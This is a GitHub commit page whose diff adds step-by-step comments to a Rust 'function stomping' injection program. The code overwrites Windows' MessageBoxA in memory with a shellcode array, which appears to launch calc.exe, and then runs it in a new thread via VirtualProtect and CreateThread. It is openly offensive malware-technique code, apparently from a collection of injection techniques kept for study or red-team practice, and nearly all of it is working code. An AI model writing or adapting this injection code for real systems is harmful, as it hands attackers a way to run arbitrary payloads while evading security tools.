Skip to content

Commit 858f5d7

Browse files
committed
docs(function_stomping): Update docs main.rs
1 parent 5245722 commit 858f5d7

File tree

1 file changed

+6
-0
lines changed
  • Function_Stomping_Injection/Local/src

1 file changed

+6
-0
lines changed

Function_Stomping_Injection/Local/src/main.rs

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,11 +31,14 @@ fn main() -> Result<()> {
3131
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
3232
];
3333
unsafe {
34+
// Load the user32.dll library into the process to find a valid function to overwrite
3435
let h_module = LoadLibraryA(s!("user32"))?;
3536

37+
// Retrieve the memory address of MessageBoxA, the target function to stomp
3638
let func = GetProcAddress(h_module, s!("MessageBoxA")).ok_or_else(|| Error::from_win32())?
3739
as *const u8;
3840

41+
// Change memory protection to writable (PAGE_READWRITE) to allow overwriting the function
3942
let mut oldprotect = PAGE_PROTECTION_FLAGS(0);
4043
VirtualProtect(
4144
func.cast(),
@@ -44,15 +47,18 @@ fn main() -> Result<()> {
4447
&mut oldprotect,
4548
)?;
4649

50+
// Overwrite the MessageBoxA function with the shellcode
4751
std::ptr::copy_nonoverlapping(shellcode.as_ptr(), func.cast_mut(), shellcode.len());
4852

53+
// Restore memory protection to executable/readable (PAGE_EXECUTE_READ) after injection.
4954
VirtualProtect(
5055
func.cast(),
5156
shellcode.len(),
5257
PAGE_EXECUTE_READ,
5358
&mut oldprotect,
5459
)?;
5560

61+
// Create a new thread that starts execution at the injected shellcode
5662
let hthread = CreateThread(
5763
None,
5864
0,

0 commit comments

Comments
 (0)